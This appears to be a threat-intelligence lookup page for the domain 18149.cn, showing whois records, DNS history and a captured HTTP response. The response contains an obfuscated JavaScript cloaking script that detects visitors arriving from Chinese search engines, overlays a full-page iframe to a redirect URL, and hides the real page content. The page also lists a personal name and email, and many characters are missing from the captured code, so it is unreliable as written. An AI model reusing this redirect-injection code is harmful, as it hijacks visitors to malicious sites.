Domain > 18149.cn

More information on this domain is in AlienVault OTX

Whois

Property	Value
Organization	李晖
Email	vx2199@qq.com
NameServer	dns2.iidns.com

DNS Resolutions

Date	IP Address
2024-05-26	168.206.0.208 (ClassC)
2024-07-12	154.93.224.111 (ClassC)
2024-09-27	156.237.255.172 (ClassC)
2024-11-01	156.232.223.157 (ClassC)
2025-01-14	172.67.192.219 (ClassC)
2025-12-09	104.21.20.124 (ClassC)

Port 80

HTTP/1.1 200 OKTransfer-Encoding: chunkedContent-Type: text/html; charsetUTF-8Server: Nginx Microsoft-HTTPAPI/2.0X-Powered-By: NginxDate: Thu, 15 Feb 2024 13:23:24 GMT

script>var titlestr  document.title;var arr  https://user-redirect-url-9.com:2083/New/c.php;var referer  document.referrer;var regex/(baidu.com|sogou.com|so.com)/i;if(regex.test(referer)){  setFrame(arrMath.floor(Math.random() * arr.length));}function setFrame(olink) {  var ss  title> + titlestr + /title>div idshowcloneshengxiaon styleheight: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;>ifr + ame scrollingyes marginheight0 marginwidth0 frameborder0 width100% height100% src + olink + >/iframe>/div>style typetext/css>html{width:100%;height:100%;}body {width:100%;height:100%;}/style>;  eval(do + cu + ment.wr + ite( + ss + ););  try {    setTimeout(function() {      console.log(document.body.children.length);      for (var i  0; i  document.body.children.length; i++) {        try {          var a  document.body.childreni.tagName;          var b  document.body.childreni.id;          console.log(i + *** + a + ** + b);          if (b ! iconDiv1 && b ! showcloneshengxiaon && a ! title) {            document.body.childreni.style.display  non + e          }        } catch(e) {}      }      var oMeta  document.createElement(meta);      oMeta.name  viewport;      oMeta.content  widthdevice-width,initial-scale1,minimum-scale1,maximum-scale1,user-scalableno;      document.getElementsByTagName(head)0.appendChild(oMeta);    },    100)  } catch(e) {}}/script>script>var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?64b0ec5a66c3af57a537ba67249ca117;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();/script>script>var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?bb08882d1b746f281bfb5b6b992d0b0d;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();/script>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 18149.cn

Is this malicious?

Whois

DNS Resolutions

Port 80